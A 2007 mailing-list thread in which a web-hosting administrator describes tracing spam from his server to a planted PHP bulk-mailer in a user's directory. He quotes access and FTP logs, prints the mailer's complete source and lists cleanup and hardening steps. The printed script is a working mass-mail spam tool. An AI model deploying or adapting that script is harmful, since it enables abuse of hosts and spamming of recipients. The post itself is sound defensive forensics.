Index: [Article Count Order] [Thread]

Date:  Wed, 28 Nov 2007 08:13:52 -0600
From:  "Gerald Waugh" <gwaugh (at mark) frontstreetnetworks.com>
Subject:  [coba-e:11279] Re: AW:  Re: Tracing emails being sent with  apache
To:  <coba-e (at mark) bluequartz.org>
Message-Id:  <031a01c831c8$ebd93500$0101a8c0@systemax>
In-Reply-To:  <200711280456.lAS4uwwJ004208 (at mark) huda.muntadanet.com>
X-Mail-Count: 11279

<toppost>
Abdul,

Very good forensics, and usefull info.
Thanks
Gerald
</toppost>


MuntadaNet Webmaster wrote; Tuesday, November 27, 2007 10:55 PM
> 
> Ok, here is the follow-up on the issue I had.
> 
> I took everyone's suggestions.  One of the things that helped the 
> most was the grep of access_log looking for POST.  That helped me to 
> find something peculiar.
> 
>   I searched by access_log for all posts.  I found something that 
> looked suspicious.  Here is a grep:
> 
> [root (at mark) huda httpd]# cat access_log | grep mona/mail.php 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:05:45:30 -0500] 
> "GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/5.0 (Windows; U; 
> Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 
> Firefox/2.0.0.9" www.sohaibqadar.com 172.158.34.227 - - 
> [27/Nov/2007:05:48:44 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 5602 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/5.0 (Windows; U; 
> Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 
> Firefox/2.0.0.9" www.sohaibqadar.com 172.158.34.227 - - 
> [27/Nov/2007:12:48:41 -0500] 
> "GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/4.0 (compatible; 
> MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:12:52:22 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 5568 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:12:53:10 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 70667 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:13:49:04 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 13805 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:14:07:39 -0500] 
> "GET /~mona/mail.php HTTP/1.1" 200 1899 "-" "Mozilla/4.0 (compatible; 
> MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:14:31:49 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 896757 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:15:29:05 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 451376 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:15:50:28 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 354341 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:16:15:11 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 34417 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" 
> www.sohaibqadar.com 172.158.34.227 - - [27/Nov/2007:16:19:58 -0500] 
> "POST /~mona/mail.php HTTP/1.1" 200 29006 
> "http://216.14.86.168/~mona/mail.php"; "Mozilla/4.0 (compatible; MSIE 
> 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"
> 
> What was suspicious was the ~mona meant that a files was in a user 
> directory and it was called mail.php.  So I checked out mail.php and 
> here is what I found:
> 
> [root@huda mona]# cd web
> [root@huda web]# ls -la
> total 20
> drwxrwsr-x  2 mona site82 4096 Sep 14 15:24 .
> drwxrws--x  7 mona site82 4096 Sep 14 15:23 ..
> -rw-rw-r--  1 mona site82 4999 Mar 11  2006 index.html
> -rw-r--r--  1 mona site82 3432 Sep 14 15:24 mail.php
> [root (at mark) huda web]# more mail.php
> <?
> $action = $_POST['action'];
> $from = $_POST['from'];
> $realname = $_POST['realname'];
> $subject = $_POST['subject'];
> $message = $_POST['message'];
> $emaillist = $_POST['emaillist'];
> ?>
> <html>
> <head>
> <title>PHP Emailer v1.5 by Illegalanimal</title>
> <meta http-equiv="Content-Type" content="text/html; 
> charset=iso-8859-1"> </head>
> 
> <body bgcolor="#FFFFFF" text="#000000">
> <?
> 
> 
> if ($action=="send"){
>          $message = urlencode($message);
>          $message = ereg_replace("%5C%22", "%22", $message);
>          $message = urldecode($message);
>          $message = stripslashes($message);
>          $subject = stripslashes($subject);
> }
> 
> ?>
> <form name="form1" method="post" action="" 
> enctype="multipart/form-data">
>    <br>
>    <table width="100%" border="0">
>      <tr>
>        <td width="10%">
>          <div align="right"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">Your
>            Email:</font></div>
>        </td>
>        <td width="18%"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">
>          <input type="text" name="realname" value="<? print 
> $realname; ?>" size="30">
>          </font></td>
>       <td width="31%">
>          <div align="right"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">Your
>            Name:</font></div>
>        </td>
>        <td width="41%"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">
>          <input type="text" name="from" value="<? print 
> $from; ?>" size="30">
>          </font></td>
>      </tr>
>      <tr>
>        <td width="10%">
>          <div align="right"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">Subject:</font></div>
>        </td>
>        <td colspan="3"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">
>          <input type="text" name="subject" value="<? print $subject; 
> ?>" size="115">
>          </font></td>
>      </tr>
>      <tr valign="top">
>        <td colspan="3"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">
>          <textarea name="message" cols="60" rows="10"><? print 
> $message; ?></textarea>
>          <br>
>          <input type="hidden" name="action" value="send">
>          <input type="submit" value="Send Message">
>          </font></td>
>        <td width="41%"><font size="-1" face="Verdana, Arial, 
> Helvetica, sans-serif">
>          <textarea name="emaillist" cols="30" rows="10"><? print 
> $emaillist; ?></textarea>
>          <br></font></td>
>      </tr>
>    </table>
> </form>
> 
> <?
> if ($action=="send"){
> 
>          if (!$from && !$subject && !$message && !$emaillist){
>          print "Please complete all fields before sending 
> your message.";
>          exit;
>          }
> 
>          $allemails = split("\n", $emaillist);
>          $numemails = count($allemails);
> 
>          for($x=0; $x<$numemails; $x++){
>                  $to = $allemails[$x];
>                  if ($to){
>                  $to = ereg_replace(" ", "", $to);
>                  $message = ereg_replace("&email&", $to, $message);
>                  $subject = ereg_replace("&email&", $to, $subject);
>                  $nrmail=$x+1;
>                  $domain = substr($from, strpos($from, "@"), 
> strlen($from));
>                  print "Sending mail $nrmail of $numemails to 
> $to.......";
>                  flush();
>                  $header = "From: $realname <$from>\r\n";
> //              $header .= "Message-Id: 
> <130746$numemails.$nrmail$domain>\r\n";
>                  $header .= "MIME-Version: 1.0\r\n";
>                  $header .= "Content-Type: text/html\r\n";
>                  $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
>                  $header .= "$message\r\n";
>                  mail($to, $subject, "", $header);
>                  print "OK!<br>";
>                  flush();
>                  }
>                  }
> 
> }
> ?>
> 
> </body>
> </html>
> 
> So, I deleted the file and waited to see if the offender would try to 
> replace the file.  Sure enough, the offender did.  I captured the 
> offense in the xferlog:
> 
> [root@huda log]# cat xferlog | grep mona
> Tue Nov 27 17:04:57 2007 0 172.158.34.227 3432 
> /home/.sites/43/site82/.users/10/mona/public_html/mail.php b _ i r 
> mona ftp 0 * c
> 
> I deleted the file again and changed the user password.  Observe that 
> the offending IP was from AOL.  I am going to submit my 
> findings to them.
> 
> I searched the system using a CPU intensive command for any other 
> offending files:
> 
> find /home/.sites/ -exec grep "Illegalanimal" '{}' \; -print
> 
> I also temporarily ran the following commands every minute as a cron 
> job in an effort to keep the mqueue cleared of any offending email:
> 
> [root (at mark) huda cron.minutely]# more spamkiller.sh
> find /var/spool/mqueue -exec grep "UNICEF and Rays" '{}' \; -exec rm 
> {} \; >> /tmp/spamkiller.txt
> find /var/spool/mqueue -exec grep "1 Cent Listing Week" '{}' \; -exec 
> rm {} \; >> /tmp/spamkiller.txt
> 
> I thought I would share my process with others.
> 
> -Rashid
> 
> At 04:12 AM 11/27/2007, you wrote:
> >Hi,
> >
> >
> >
> >Another setting you'd like to disable in php.ini (either globally or 
> >per-site basis) is allow_url_fopen -- it's used quite often 
> to generate 
> >bulk mail by pulling addresses and messages from external hosts.
> >
> >
> >
> >Hope this helps,
> >
> >Neritan
> >
> >----- Original Message ----
> >From: Michael Stauber <bq (at mark) solarspeed.net>
> >To: coba-e (at mark) bluequartz.org
> >Sent: Tuesday, November 27, 2007 7:35:29 AM
> >Subject: [coba-e:11249] Re: AW:  Re: Tracing emails being sent with 
> >apache
> >
> >
> >Hi Rashid,
> >
> > > So far, I had already tried Gerald's and your
> > > technique before sending out the SOS.  So I am
> > > still stuck.  I can't seem to find something that
> > > is showing a large amount of repetition in the logs.
> > >
> > > If anyone has any other ideas, I am definitely in
> > > need of one.  I normally find these things but this time 
> I am stuck.
> >
> >OK, this is somewhat drastic, but it might help.
> >
> >In php.ini set:
> >
> >disable_functions = mail
> >
> >This will disable the mail() function in PHP entirely - for all PHP
> >  scripts.
> >It has to be set in php.ini and cannot be set anywhere else.
> >
> >Now if someone tries to use the mail() function in PHP the 
> script will
> >  error
> >out and this error(s) will also be logged in the Apache 
> error logfile.
> >  That
> >allows you to easily find which scripts make use of the 
> mail() function
> >  and
> >how often that happens.
> >
> >It is not entirely foolproof as there are tons of ways to send emails
> >  with
> >PHP. The mail() function is the most commonly used way, as it offers
> >  the
> >least hassles. You can also send mail over system calls or 
> sockets, or 
> >external PHP classes which use different methods than the mail()
> >  function
> >itself.
> >
> >But nonetheless it's a start and for troubleshooting purposes I'd
> >  suggest to
> >try this first. If it doesn't work out right away, you could deny
> >  additional
> >PHP functions as well, like this:
> >
> >disable_functions = mail,system,sockets
> >
> >However, please note that dissalowing system() and sockets() 
> will most
> >  likely
> >break a lot of unrelated scripts. So if you do that, be 
> prepared for a
> >  lot of
> >collateral damage.
> >
> >--
> >With best regards,
> >
> >Michael Stauber
> >
> >
> >
> >
> >
> >
> > 
> >_____________________________________________________________
> __________
> >_____________
> >Get easy, one-click access to your favorites.
> >Make Yahoo! your homepage.
> >http://www.yahoo.com/r/hs
> 
> *****************************************************************
> MuntadaNet Web Hosting and Web Design Services http://www.muntada.com
> 
> Sales - sales (at mark) muntada.com
> Support - support (at mark) muntada.com
> Billing - billing (at mark) muntada.com
> 
> Main Office - 808-689-6092
> Fax - (808) 356-0279
> ***************************************************************** 
> 
> 
> 
> -- 
> This message has been scanned for viruses and
> dangerous content by MailScanner, and is
> believed to be clean.
> 


-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.